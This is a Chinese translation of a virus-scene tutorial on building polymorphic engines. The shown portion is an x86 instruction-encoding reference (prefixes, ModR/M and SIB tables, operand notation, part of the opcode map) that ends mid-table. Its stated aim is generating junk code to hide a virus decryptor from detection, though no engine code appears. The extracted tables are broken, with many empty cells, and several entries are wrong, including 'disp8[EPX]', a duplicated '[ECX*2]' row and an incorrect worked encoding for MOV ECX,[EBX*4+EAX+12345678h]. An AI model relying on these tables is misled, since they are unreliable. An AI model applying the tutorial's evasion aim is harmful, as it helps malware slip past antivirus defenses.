多态变形技术教学(2)-高级的方法 |
|
||
文档编号: |
S001-F001 |
||
原作者: |
Lord Julus |
||
译者: |
arhat[ptg] |
|
|
审校: |
Kanxue、CCDebuger |
|
|
发布时间: |
|
||
原文: |
|||
关键词: |
多态 译码器 操作码 寻址 |
||
|
|||
|
|
||
目 录
0
序言..........................................................................................................................
3
1
指令集......................................................................................................................
5
1.1
操作数长度和地址长度属性............................................................................
5
1.2
指令格式........................................................................................................
6
1.3 ModR/M和SIB字节.......................................................................................
8
1.4
操作码..........................................................................................................
15
1.5
指令.............................................................................................................
16
1.6
操作码表......................................................................................................
18
1.6.1
主要的缩写词.....................................................................................
19
1.6.2
寻址方法的代码.................................................................................
19
1.6.3
操作数类型的代码..............................................................................
20
1.6.4
寄存器代码........................................................................................
20
1.6.5 One-Byte操作码表..............................................................................
21
1.6.6 Two-Byte操作码表(第一个字节是0FH)..........................................
25
1.6.7
通过modR/M字节的5,4,3位确定操作码.............................................
29
1.6.8
条件的定义........................................................................................
29
2
生成指令.................................................................................................................
32
2.1
随机寄存器选择器........................................................................................
35
2.2
随机值选择器...............................................................................................
37
2.3
指令生成器...................................................................................................
37
2.4
垃圾生成器...................................................................................................
40
3
转向32位...............................................................................................................
46
4
结束语....................................................................................................................
49
0
序言
嗨,朋友们… 本文的姊妹篇(
人们在接触Win32汇编程序之后可能会有所疑问,可以在Win32下完成多态引擎吗?好奇的我开始忙碌了…事实上,到目前为止,我已经完成了你所需要的第1个多态引擎。
那么,我打算在这篇文章里说些什么呢?
如果你读过本文的姊妹篇,肯定知道那篇文章中所述的内容还没有过时!因此,本文就不再讨论那些(解密)话题了(搜索我写的加密文章,了解清楚),而是把精力集中在――真正隐藏解密的最好方法――垃圾生成上…在本文中,我将介绍需要使用的指令,也将尽力以通俗易懂的方式描述。我还会谈到构成代码仿真器有那些难点,我会介绍编写Win32多态引擎时需要掌握的Win32知识…时不待我,开始吧!
----------------------------------[ 致谢 ]-----------------------------------
在一生中,总有一些人会对我们产生莫大的影响,他们理应得到所有的荣誉…下面是其中的一部分:
dark avenger, dark fiber, dark angel, darkman, mr.sandman,
virtual daemon, qark, quantum,
b0z0, wild worker, black baron,
the
unforgiven, murkry, shaitan, tatung, jacky qwerty, griyo,
kid chaos, cicatrix,
priest, liquid jesus, metabolis, nowhere man,
opic, blue skull, hellfire, hellraiser, and many more...
我所掌握的知识只是他们的千分之一…
特别感谢SLAM小组!
-------------------------------[ 免责声明 ]----------------------------------
此文档仅用于学习Intel(c)公开的信息。不应当用这里揭露的信息危害任何人,作者将不会为滥用这些信息所造成的数据丢失或破坏负任何责任。本文全面介绍Intel或Intel兼容微处理器生成操作码的方法。
---------------------------------[ 起源 ]------------------------------------
本文很大一部分内容来自原始的Intel 386文档,具体的说,是微处理器指令。我必须对它们详加说明,因为这样一来,你会明白生成所需要的指令是非常简单的一回事。我还从Intel手册里引用了一些内容,比如说你肯定认识的、著名的操作码表… 最重要的是,你要知道怎样使用它们,说得更实际一点,你应该知道怎样优化它们?如果你知道,请告诉我…;)) 对我来说,没有什么可以比发现有人理解我所写的文章更令人高兴了…
总的来说,本文分成2大部分:指令说明和具体的多态引擎技术。
.-------------------.
----------------------------| PART I |-----------------------------
'-------------------'
1
指令集
1.1
操作数长度和地址长度属性
当80386执行指令时,可以用16或32位的地址访问内存空间。因此,每条使用内存地址的指令都与16或32位的地址长度属性相关。16位地址暗示指令使用16位的位移,生成16位的地址偏移(段相对地址),就像有效地址计算一样。32位地址暗示使用32位的位移,生成32位的地址偏移量。同样,访问word(16位)或doubleword(32位)的指令具有16或32位的操作数长度属性。
默认的组合,指令前缀,和(保护模式下的程序除外)段描述符里的长度说明位决定了这个属性。
运行在实模式或虚拟8086模式里的程序在默认情况下使用16位的地址和操作数。
指令的内部编码包括两个以字节为单位的前缀:地址长度前缀――67H,操作数长度前缀――66H。指令的段属性对这些前缀不起作用。下表显示了默认值与前缀混合后可能产生的结果。
隐式使用栈的指令(例如:POP EAX)同样具有16或32位的栈地址长度属性。带16位栈地址长度属性的指令使用16位的SP栈指针寄存器;带32位栈地址长度属性的指令使用32位的ESP寄存器来构成栈顶的地址。
.-------------------------------------------------------------------.
| Segment Default D = ... | 0 0 0 0 1 1 1 1 |
| Operand-Size Prefix 66H | N N Y Y N N Y Y |
| Address-Size Prefix 67H | N Y N Y N Y N Y |
|--------------------------+----------------------------------------|
| Effective Operand Size | 16 16 32 32 32 32 16 16 |
| Effective Address Size | 16 32 16 32 32 16 32 16 |
|-------------------------------------------------------------------|
| Y = Yes, this instruction
prefix is present |
| N = No, this instruction
prefix is not present |
'-------------------------------------------------------------------'
所以,从根本上说,一条指令肯定会有一个操作数和/或一个地址。我们可以有各种各样的16和32位组合,也可以不考虑默认值。这些前缀可以出现多次,但只有最后一个起作用。
1.2
指令格式
所有的指令编码都是下图显示的、一般指令格式的子集。一条指令的组成部分可以包含:可选的指令前缀,一个或二个主操作码字节,或由ModR/M字节和SIB(Scale Index Base)字节组成的地址说明符,如果需要的话,还可以包含位移量,立即数字段。
较小的编码字节可以在主操作码内定义。这些字段定义操作的方向,位移量的大小,寄存器编码,或符号扩展;编码的字段依操作的类型而定。
许多涉及内存里的操作数的指令在主操作码字节后都有一个寻址形式字节。这个字节被称为ModR/M字节,详细说明所使用的寻址形式。ModR/M字节的某些编码指示第二个寻址字节――SIB字节,它跟在ModR/M字节之后,在完全确定寻址形式时需要它。
寻址形式可以直接在ModR/M或SIB字节后包括位移量。如果包括位移量,它可以是8-,16-或32位的。
如果指令指定一个立即操作数,立即操作数将总是跟在位移字节后,如果指定的话,立即操作数总是指令的最后一个字段。
下面是被认可的指令前缀编码:
F3H REP prefix (仅用于字符串指令)
F3H REPE/REPZ prefix (仅用于字符串指令)
F2H REPNE/REPNZ prefix (仅用于字符串指令)
F0H LOCK prefix
下面是段重叠前缀:
2EH CS segment override prefix
36H SS segment override prefix
3EH DS segment override prefix
26H ES segment override prefix
64H FS segment override prefix
65H GS segment override prefix
66H Operand-size override
67H Address-size override
80386 指令格式
P .---------------------------------------------------------------.
R | INSTRUCTION | ADDRESS- | OPERAND- | SEGMENT |
E | PREFIX | SIZE PREFIX | SIZE PREFIX | OVERRIDE |
F |---------------------------------------------------------------|
I | 0 OR 1 0
OR 1 0 OR 1 0
OR 1 |
X |- - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - -|
E |
NUMBER OF BYTES |
S '---------------------------------------------------------------'
R .---------------------------------------------------------------.
E | OPCODE | MODR/M | SIB | DISPLACEMENT | IMMEDIATE |
Q | | | | | |
U |---------------------------------------------------------------|
I | 1 OR 2 0
OR 1 0 OR 1 0,1,2 OR 4 0,1,2 OR
4 |
R |- - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - -|
E | NUMBER OF BYTES |
D '---------------------------------------------------------------'
这也是说,我们的指令最小可以是1字节,最大可以是16个字节长度。
1.3
ModR/M和SIB字节
在许多80386指令里,ModR/M和SIB字节跟在操作码字节之后。它们包含如下信息:
* 这条指令所使用的索引类型或寄存器号
* 所使用的寄存器,或所选指令的详细信息
* 基址,变址和比例因子信息
ModR/M 字节分为3个字段,包含的信息是:
* mod字段,占用字节的2个最高位,与r/m字段结合起来可以形成32种不同的组合:8个寄存器和24个索引方式
* Reg字段,占用mod字段之后的3个位,指定寄存器号或多于3个位以上的操作码信息。Reg字段的意义由指令的第一个(操作码)字节确定
* r/m字段,字节的最后3位,可以把寄存器指定为操作数的位置,或者和上面所述的字段结合起来形成寻址方式编码的一部分
基址索引和32位寻址形式的比例索引需要SIB字节。ModR/M字节的某些编码位指示SIB字节的存在。SIB字节包括如下的字段:
* ss字段,占用字节中最高的2位,指定比例因子
* 变址字段,占用ss字段后的3个位,指定变址寄存器的寄存器号
* 基址字段,占用字节最后的3个位,指定基址寄存器的寄存器号
ModR/M和SIB字节格式
MODR/M BYTE
7 6 5 4 3 2 1 0
.------------------------------------.
| MOD | REG/OPCODE | R/M |
'------------------------------------'
SIB (SCALE INDEX BASE) BYTE
7 6 5 4 3 2 1 0
.------------------------------------.
| SS | INDEX | BASE |
'------------------------------------'
现在让我们认真考虑它们实际的应用吧。下面有2个表,利用它们可以任意生成指令。第一行指定所用的寄存器。如果你用8位寻址方式,将用8位寄存器,16位寻址用16位寄存器,32位寻址用32位寄存器。虽然你用了相同的编码,但实际上,不是你而是处理器解释它们。此后,是4个部分8种可能的编码寻址方式。第1个双编号列包含MOD和R/M字段,以及此后,如果你在MOD和R/M字段之后安置REG字段,你可以得到的十六进制编码。象往常一样,这将生成8种类型*4个部分*8个寄存器=256变体的矩阵。
带ModR/M字节的16位寻址表
.--------------------------------------------------------------------------.
| r8(/r) |
| r16(/r) | AX | CX | DX | BX | SP | BP | SI | DI |
| r32(/r) |
EAX | ECX | EDX | EBX | ESP | EBP | ESI | EDI |
| /digit (Opcode) | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| REG = | 000 | 001 | 010 | 011 | 100 | 101 | 110 | 111 |
|--------------------------+-----------------------------------------------|
| | Mod R/M | ModR/M
Values in Hexadecimal |
|----------------+---------+-----------------------------------------------|
| [BX + SI] | 00 000 | 00 | 08 | 10 | 18 | 20 | 28 | 30 | 38 |
| [BX + DI] | 00 001 | 01 | 09 | 11 | 19 | 21 | 29 | 31 | 39 |
| [BP + SI] | 00 010 | 02 |
| [BP + DI] | 00 011 | 03 | 0B | 13 | 1B | 23 | 2B | 33 | 3B |
| [SI] | 00 100 | 04 |
| [DI] | 00 101 | 05 | 0D | 15 | 1D | 25 | 2D | 35 | 3D |
| disp16 |
00 110 | 06 | 0E | 16 | 1E | 26 | 2E | 36 | 3E |
| [BX] | 00 111 | 07 |
|----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
| [BX+SI]+disp8 | 01 000 | 40 | 48 | 50 | 58 | 60 | 68 | 70 | 78 |
| [BX+DI]+disp8 | 01 001 | 41 | 49 | 51 | 59 | 61 | 69 | 71 | 79 |
| [BP+SI]+disp8 | 01 010 | 42 |
| [BP+DI]+disp8 | 01 011 | 43 | 4B | 53 | 5B | 63 | 6B | 73 | 7B |
| [SI]+disp8 | 01 100 | 44 |
| [DI]+disp8 | 01 101 | 45 | 4D | 55 | 5D | 65 | 6D | 75 | 7D |
| [BP]+disp8 | 01 110 | 46 | 4E | 56 | 5E | 66 | 6E | 76 | 7E |
|
[BX]+disp8 | 01 111 | 47 |
|----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
|
[BX+SI]+disp16 | 10 000 | 80 | 88 | 90 | 98 | A0 | A8 | B0 | B8 |
|
[BX+DI]+disp16 | 10 001 | 81 | 89 | 91 | 99 | A1 | A9 | B1 | B9 |
| [BP+SI]+disp16 | 10 010 | 82 |
| [BP+DI]+disp16 | 10 011 | 83 | 8B | 93 | 9B | A3 | AB | B3 | BB |
| [SI]+disp16 | 10 100 | 84 |
| [DI]+disp16 | 10 101 | 85 | 8D | 95 | 9D | A5 | AD | B5 | BD |
| [BP]+disp16 | 10 110 | 86 | 8E | 96 | 9E | A6 | AE | B6 | BE |
| [BX]+disp16 | 10 111 | 87 |
|----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
| EAX/AX/AL | 11 000 | C0 | C8 | D0 | D8 | E0 | E8 | F0 | F8 |
| ECX/CX/CL | 11 001 | C1 | C9 | D1 | D9 | E1 | E9 | F1 | F9 |
| EDX/DX/DL | 11 010 | C2 | CA | D2 | DA | E2 | EA | F2 | FA |
| EBX/BX/BL | 11 011 | C3 | CB | D3 | DB | E3 | EB | F3 | FB |
| ESP/SP/AH | 11 100 | C4 | CC | D4 | DC | E4 | EC | F4 | FC |
| EBP/BP/CH | 11 101 | C5 | CD | D5 | DD | E5 | ED | F5 | FD |
| ESI/SI/DH | 11 110 | C6 | CE | D6 | DE | E6 | EE | F6 | FE |
| EDI/DI/BH | 11 111 | C7 | CF | D7 | DF | E7 | EF | F7 | FF |
'--------------------------------------------------------------------------'
OK,让我们看几个例子:
MOV
BX, [BX+DI+1234h]
1234h告诉我们用的是disp16,因此,我们需要看MOD=10部分;
[BX+DI]告诉我们用的是这部分的第二行;
BX告诉我们要查看第4个REG行;
MOV的操作码是8B(随后你将会学习相关的内容)
通过这些信息,我们查表可得:99h
因此,MOV BX, [BX+DI+1234h]的编码是:
8Bh 99h 34h 12h,
1234h直接跟在ModR/M字节之后,实际上是一个立即数。
---------------------------------------------------------------------------
注释:disp8指示在ModR/M 字节之后是8位位移量,它可用于符号扩展,以及增加变址。Disp16指示在ModR/M 字节之后的16位位移量,可用于增加索引。对于包含BP变址的有效地址,默认的段寄存器是SS,DS用于另外的有效地址。
---------------------------------------------------------------------------
让我们趁热打铁,看看32位的寻址代码:
带ModR/M字节的32位寻址表
.--------------------------------------------------------------------------.
| r8(/r) |
| r16(/r) | AX | CX | DX | BX | SP | BP | SI | DI |
| r32(/r) | EAX | ECX | EDX | EBX | ESP | EBP | ESI | EDI |
| /digit (Opcode) | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| REG = | 000 | 001 | 010 | 011 | 100 | 101 | 110 | 111 |
|--------------------------+-----------------------------------------------|
| | Mod R/M | ModR/M Values in Hexadecimal |
|----------------+---------+-----------------------------------------------|
| [EAX] | 00 000 | 00 | 08 | 10 | 18 | 20 | 28 | 30 | 38 |
| [ECX] |
00 001 | 01 | 09 | 11 | 19 | 21 | 29 | 31 | 39 |
| [EDX] | 00 010 | 02 |
| [EBX] | 00 011 | 03 | 0B | 13 | 1B | 23 | 2B | 33 | 3B |
| [--] [--] | 00 100 | 04 |
| disp32 |
00 101 | 05 | 0D | 15 | 1D | 25 | 2D | 35 | 3D |
| [ESI] | 00 110 | 06 | 0E | 16 | 1E | 26 | 2E | 36 | 3E |
| [EDI] | 00 111 | 07 |
|----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
| disp8[EAX] | 01 000 | 40 | 48 | 50 | 58 | 60 | 68 | 70 | 78 |
| disp8[ECX] | 01 001 | 41 | 49 | 51 | 59 | 61 | 69 | 71 | 79 |
| disp8[EDX] | 01 010 | 42 |
| disp8[EPX]; | 01 011 | 43 | 4B | 53 | 5B | 63 | 6B | 73 | 7B |
| disp8[--] [--] | 01 100 | 44 |
| disp8[ebp] | 01 101 | 45 | 4D | 55 | 5D | 65 | 6D | 75 | 7D |
| disp8[ESI] | 01 110 | 46 | 4E | 56 | 5E | 66 | 6E | 76 | 7E |
| disp8[EDI] | 01 111 | 47 |
|----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
| disp32[EAX] | 10 000 | 80 | 88 | 90 | 98 | A0 | A8 | B0 | B8 |
| disp32[ECX] | 10 001 | 81 | 89 | 91 | 99 | A1 | A9 | B1 | B9 |
| disp32[EDX] | 10 010 | 82 |
| disp32[EBX] | 10 011 | 83 | 8B | 93 | 9B | A3 | AB | B3 | BB |
| disp32[--] [--]| 10 100 | 84 |
| disp32[EBP] | 10 101 | 85 | 8D | 95 | 9D | A5 | AD | B5 | BD |
| disp32[ESI] | 10 110 | 86 | 8E | 96 | 9E | A6 | AE | B6 | BE |
| disp32[EDI] | 10 111 | 87 |
|----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
| EAX/AX/AL | 11 000 | C0 | C8 | D0 | D8 | E0 | E8 | F0 | F8 |
| ECX/CX/CL | 11 001 | C1 | C9 | D1 | D9 | E1 | E9 | F1 | F9 |
| EDX/DX/DL | 11 010 | C2 | CA | D2 | DA | E2 | EA | F2 | FA |
| EBX/BX/BL | 11 011 | C3 | CB | D3 | DB | E3 | EB | F3 | FB |
| ESP/SP/AH | 11 100 | C4 | CC | D4 | DC | E4 | EC | F4 | FC |
| EBP/BP/CH | 11 101 | C5 | CD | D5 | DD | E5 | ED | F5 | FD |
| ESI/SI/DH | 11 110 | C6 | CE | D6 | DE | E6 | EE | F6 | FE |
| EDI/DI/BH | 11 111 | C7 | CF | D7 | DF | E7 | EF | F7 | FF |
'--------------------------------------------------------------------------'
让我们看一个例子:
MOV
EBX, [EBP+12345678h]
12345678h
= disp32 -> part 3
EBP+disp32 -> line 6 of part 3
EBX
-> REG row 4
==>指令译成代码后 = 8Bh 9Dh 78h 56h 34h 12h
---------------------------------------------------------------------------
注释:[--]
[--]意味着在ModR/M字节后是SIB。Disp8指示在SIB字节之后是8位位移量,可用于符号扩展,以及增加变址。Disp32指示跟在ModR/M字节后面的是32位移量,可以加到变址。
---------------------------------------------------------------------------
带SIB字节的32位寻址表
.--------------------------------------------------------------------------.
| r32 | EAX | ECX | EDX | EBX | ESP | [*] | ESI | EDI |
| Base = | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| Base = | 000 | 001 | 010 | 011 | 100 | 101 | 110 | 111 |
|--------------------------+-----------------------------------------------|
| | SS Index | ModR/M
Values in Hexadecimal |
|-------------+------------+-----------------------------------------------|
| [EAX] | 00 000 | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 |
| [ECX] | 00 001 | 08 | 09 |
| [EDX] | 00 010 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| [EBX] | 00 011 | 18 | 19 |
| none | 00 100 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| [EBP] | 00 101 | 28 | 29 |
| [ESI] | 00 110 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 |
| [EDI] | 00 111 | 38 | 39 |
|-------------+------------+-----+-----+-----+-----+-----+-----+-----+-----|
| [EAX*2] | 01 000 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 |
| [ECX*2] | 01 001 | 48 | 49 |
| [ECX*2] | 01 010 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 |
| [EBX*2] | 01 011 | 58 | 59 |
| none | 01 100 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 |
| [EBP*2] | 01 101 | 68 | 69 |
| [ESI*2] | 01 110 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 |
| [EDI*2] | 01 111 | 78 | 79 |
|-------------+------------+-----+-----+-----+-----+-----+-----+-----+-----|
| [EAX*4] | 10 000 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 |
| [ECX*4] | 10 001 | 88 | 89 |
| [EDX*4] | 10 010 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 |
| [EBX*4] | 10 011 | 98 | 89 |
| none | 10 100 | A0 | A1 | A2 | A3 | A4 | A5 | A6 | A7 |
| [EBP*4] | 10 101 | A8 | A9 | AA | AB | AC | AD | AE | AF |
| [ESI*4] | 10 110 | B0 | B1 | B2 | B3 | B4 | B5 | B6 | B7 |
| [EDI*4] | 10 111 | B8 | B9 | BA | BB | BC | BD | BE | BF |
|-------------+------------+-----+-----+-----+-----+-----+-----+-----+-----|
| [EAX*8] | 11 000 | C0 | C1 | C2 | C3 | C4 | C5 | C6 | C7 |
| [ECX*8] | 11 001 | C8 | C9 | CA | CB | CC | CD | CE | CF |
| [EDX*8] | 11 010 | D0 | D1 | D2 | D3 | D4 | D5 | D6 | D7 |
| [EBX*8] | 11 011 | D8 | D9 | DA | DB | DC | DD | DE | DF |
| none | 11 100 | E0 | E1 | E2 | E3 | E4 | E5 | E6 | E7 |
| [EBP*8] | 11 101 | E8 | E9 | EA | EB | EC | ED | EE | EF |
| [ESI*8] | 11 110 | F0 | F1 | F2 | F3 | F4 | F5 | F6 | F7 |
| [EDI*8] | 11 111 | F8 | F9 | FA | FB | FC | FD | FE | FF |
'--------------------------------------------------------------------------'
例子:
MOV ECX, [EBX*4 + EAX + 12345678h]
[EBX*4] and ECX gives us 89h (from the SIB table)
disp32[EAX] gives us 80h (from 32bit addressing table)
So, we encode:
8Bh 80h 89h 78h 56h 34h 12h
| | | | | | |
| | | '----------------> immediate value
| | '--------------------> SIB
| '------------------------> ModR/M byte
'----------------------------> Opcode
注意:你可能注意到了,立即数是以反向顺序保存的,首先是较小的,其次是较大的。
---------------------------------------------------------------------------
注释:[*]
意味着如果MOD是00,那么disp32将不带基址,否则是[ESP]。这提供了如下的寻址方式:
disp32[index] (MOD=00)
disp8[EBP][index] (MOD=01)
disp32[EBP][index] (MOD=10)
理解这些表非常有必要,尤其是你想在真正的指令之间生成垃圾时就更有必要了。实际上,你甚至不需要定义任何表,而只需知道它们怎样构成的,当你想得到某些结果时,稍微算一下就能得到要用的Mod/Rm和SIB…这很容易,这些表和例子说明了这一点。
1.4
操作码
在随后介绍的操作码图里,你会发现某些缩写词可能会引起混淆…为了事先澄清这些混淆,我先引用原始的Intel(c)缩写词:
“操作码”列为每种形式的指令给出全部的结果编码。在可能时,给出的是十六进制字节,和它们在内存里的顺序一样。除了十六进制字节以外的条目定义如下:
/digit:(0到7之间的数字)指示指令的ModR/M字节只用r/m(寄存器或内存)操作数。Reg字段包含准备扩展到指令的操作码的数字。
/r:指示指令的ModR/M字节包含寄存器操作数和r/m操作数。
cb, cw, cd, cp: 操作码后面跟的是1-byte (cb), 2-byte (cw), 4-byte (cd) or 6-byte (cp)数值,用于指定代码偏移量和或许是代码段寄存器的新值。
ib, iw, id:跟在操作码之后的立即操作数,ModR/M字节或比例变址字节。如果操作数是带符号的数值将确定操作码。所有的word和doubleword首先给出的是低位字节。
+rb, +rw, +rd: 寄存器代码,从0到7,加到加号左边的十六进制字节形成操作码字节,这些代码分别是:
rb rw rd
CL
= 1 CX = 1 ECX = 1
DL = 2 DX
= 2 EDX = 2
BL = 3 BX
= 3 EBX = 3
AH = 4 SP
= 4 ESP = 4
CH = 5 BP
= 5 EBP = 5
DH = 6 SI
= 6 ESI = 6
BH = 7 DI
= 7 EDI = 7
1.5
指令
“指令”列中给出的指令语句的句法就像它在ASM386程序中出现的一样。下面是一个列表,列出了在指令语句中使用的操作数符号:
rel8:指令结尾前128字节到指令结尾后127字节范围内的相对地址。
rel16, rel32: 组装指令时在同一代码段内的相对地址。rel16用于操作数长度属性为16位的指令;rel32用于操作数长度属性为32位的指令。
ptr16:16, ptr16:32: 代码段里的FAR指针和指令里的明显不一样。16:16指示指针的值分成两部分。冒号右边的是16位的选择子或指向代码段寄存器的值。冒号左边的值对应目的段里的偏移量。当指令的操作数长度属性是16位时使用ptr16:16;当属性为32位时使用ptr16:32。
r8: AL, CL, DL, BL, AH, CH, DH, 或 BH等byte寄存器中的一个。
r16:AX, CX, DX, BX, SP, BP, SI, 或 DI等word寄存器中的一个。
r32:EAX, ECX, EDX, EBX, ESP, EBP, ESI, 或 EDI等doubleword寄存器中的一个。
imm8:直接byte值。Imm8是-128到+127之间的有符号数。当指令中的imm8与与word或doubleword 操作数结合时,立即数被符号扩展至word或doubleword 。用立即数的最高位填充word的高位字节。
Imm16:操作数长度属性为16的指令使用的直接word值。它的取值范围是-32768至+32767。
Imm32:操作数长度属性是32的指令使用的直接doubleword 值。它的取值范围是+2147483647至-2147483648。
r/m8: 单字节操作数,既可能是byte寄存器的内容,也可能是来自于内存的byte。
r/m16: 操作数长度属性是16位的指令使用的word寄存器或内存操作数。Word寄存器是: AX, BX, CX, DX, SP, BP, SI, DI。内存的内容保存在通过有效地址计算得到的地址里。
r/m32: 操作数长度属性是32位的指令使用的doubleword寄存器或内存操作数。Doubleword寄存器是: EAX, EBX, ECX, EDX, ESP, EBP, ESI, EDI。内存的内容保存在通过有效地址计算得到的地址里。
m8: 以DS:SI或ES:DI寻址的内存byte(只有字符串指令使用)。
m16: 以DS:SI或ES:DI寻址的内存word(只有字符串指令使用)。
m32: 以DS:SI或ES:DI寻址的内存doubleword(只有字符串指令使用)。
m16:16, M16:32: 包含由两个数字组成的far指针的内存操作数。冒号左边对应的是指针的段选择子。冒号右边对应的是它的偏移量。
m16 & 32, m16 & 16, m32 & 32: 由&两边指示位长度的数据对组成的内存操作数。可以使用所有的内存寻址方式。BOUND指令使用m16 & 16和m32 & 32,由它们指定数组索引上下界的操作数。LIDT和LGDT使用m16 & 32,用于加载受限字段的word,加载对应Global and Interrupt Descriptor Table Registers的基本字段的doubleword。
moffs8, moffs16, moffs32:某些MOV指令的变体使用的BYTE, WORD, 或 DWORD类型的(内存偏移量)单内存变量。真正的地址通过相对于段基址的单偏移量得到。在这样的指令里不使用ModR/M 字节。Moffs后的数字指示它的长度,它被指令的地址长度属性所决定。
Sreg:段寄存器。段寄存器的位分配分别是ES=0, CS=1, SS=2, DS=3, FS=4, GS=5。
1.6
操作码表
接下来的3个表是原始的Intel的80386指令集编码,我把它做了一些调整以适应页面大小。你将看到如下的表:
1. 单字节操作码表。这是一个16*16表。行后面是给出操作码的列,像下面这样:
0 1 2 3 4
.-----------------------------------------------........
| ADD
0|-----------------------------------------------........
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib
|-----------------------------------------------........
| :
: :
03h means ADD Gv,Ev
00h means ADD Eb,Gb
(参考下面的简写)
2. 双字节操作码表。这个表看起来和前一个表非常类似,但是指令的操作码由两个字节组成:第一个是0Fh(escape),第二个由行和列组合而成。
3. 组。这是一个8*8的表,它由第二个字节是真正的操作码的指令填充而成,在这里,REG字段通常在ModR/M字节之内。
注释:表1与表2原是一个表的两部分,分成两部分是为了适合页面大小。建议你把这些表打出来,粘成一个大表。这样一来,你就有一个属于自己的编码表了。
让我们首先查看这些缩写词和表:
1.6.1
主要的缩写词
操作数可以用两字符的Zz形式表示。第一个字符是大字字母,指定寻址方法;第二字符是小写字母,指定操作数的类型。
1.6.2
寻址方法的代码
A 直接地址;指令中不含ModR/M字节;操作数的地址直接编进指令;没有基址寄存器,变址寄存器,或能用上的比例因子;例如,far JMP (EA)。
C
modR/M字节的reg字段,选用控制寄存器;例如,MOV (
D
modR/M字节的reg字段,选用调试寄存器;例如,MOV (
E modR/M字节跟在操作码之后,用于指定操作数。操作数既可以是通用寄存器,也可以是内存地址。如果是内存地址,可以用段寄存器加上如下的值来计算地址:基址寄存器,变址寄存器,比例因子,位移量。
F 标志寄存器。
G modR/M字节的reg字段,选用通用寄存器;例如,ADD (00)。
I 立即数。操作数的值被编进指令随后的字节。
J 这条指令包含了加到指令指针寄存器的相对偏移量;例如,JMP short, LOOP。
M modR/M字节只能引用内存;例如,BOUND, LES, LDS, LSS, LFS, LGS。
O 这条指令中不含modR/M字节;操作数的偏移量被当做是word或double word(视地址长度属性而定)编进指令里。不使用基址寄存器,变址寄存器,或比例因子;例如,MOV (A0-A3)。
R modR/M字节的mod字段,只能引用通用寄存器;例如,MOV (
S modR/M字节的reg字段,选用段寄存器;例如,MOV (
T modR/M字节的reg字段,选用测试寄存器;例如,MOV (
X 通过DS:SI的内存寻址;例如,MOVS,
COMPS, OUTS, LODS, SCAS。
Y 通过ES:DI的内存寻址;例如,MOVS,
CMPS, INS, STOS。
1.6.3
操作数类型的代码
a 两个one-word操作数在内存里,或两个double-word操作数在内存里,具体要视操作数长度属性而定(只有BOUND使用)。
b byte(与操作数长度属性无关)
c byte或word,视操作数长度属性而定。
d Double word(与操作数长度属性无关)
p 32位或48位的指针,视操作数长度属性而定。
s Six-byte伪描述符
v Word或double word,视操作数长度属性而定。
w Word(与操作数长度属性无关)
1.6.4
寄存器代码
当操作数是具体的寄存器而被编进操作码时,可以通过它的名字识别寄存器;例如,AX,
CL,或ESI。通过寄存器名可以知道它是32,16还是8位的。当寄存器的宽度依靠操作数长度属性时,用eXX形式作为寄存器的标识符;例如,eAX表明操作数长度属性是16位时使用AX寄存器,操作数长度属性是32位时使用EAX寄存器。
1.6.5
One-Byte操作码表
0 1 2 3 4 5 6 7
.---------------------------------------------------------------------------.
| ADD | PUSH | POP |
0|---------------------------------------------------------| | |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | ES | ES |
|---------------------------------------------------------+--------+--------|
| ADC | PUSH | POP |
1|---------------------------------------------------------| | |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | SS | SS |
|---------------------------------------------------------+--------+--------|
| AND | SEG | |
2|---------------------------------------------------------| | DAA |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | =ES | |
|---------------------------------------------------------+--------+--------|
| XOR | SEG | |
3|---------------------------------------------------------| | AAA |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | =SS | |
|---------------------------------------------------------------------------|
| INC general register |
4|---------------------------------------------------------------------------|
| eAX | eCX | eDX | eBX | eSP | eBP | eSI | eDI |
|---------------------------------------------------------------------------|
| PUSH general register |
5|---------------------------------------------------------------------------|
| eAX | eCX | eDX | eBX | eSP | eBP | eSI | eDI |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | BOUND | ARPL | SEG | SEG | Operand| Address|
6|
PUSHA | POPA | | | | | | |
| | | Gv,Ma | Ew,Rw | =FS | =GS | Size | Size |
|---------------------------------------------------------------------------|
| Short displacement jump of condition (Jb) |
7|---------------------------------------------------------------------------|
| JO | JNO | JB | JNB | JZ | JNZ | JBE | JNBE |
|-----------------+---------+---------+-------------------+-----------------|
| Immediate Grp1 | | Grp1 | TEST | XCHG |
8|-----------------| | |-------------------+-----------------|
| Eb,Ib | Ev,Iv | | Ev,Iv | Eb,Gb | Ev,Gv | Eb,Gb | Ev,Gv |
|--------+------------------------------------------------------------------|
| | XCHG word or double-word register with eAX |
9| NOP |------------------------------------------------------------------|
| | eCX | eDX | eBX | eSP | eBP | eSI | eDI |
|-------------------------------------+---------+---------+--------+--------|
| MOV | MOVSB | MOVSW/D | CMPSB |CMPSW/D |
A|-------------------------------------| | | | |
| AL,Ob | eAX,Ov | Ob,AL | Ov,eAX | Xb,Yb | Xv,Yv | Xb,Yb | Xv,Yv |
|---------------------------------------------------------------------------|
| MOV
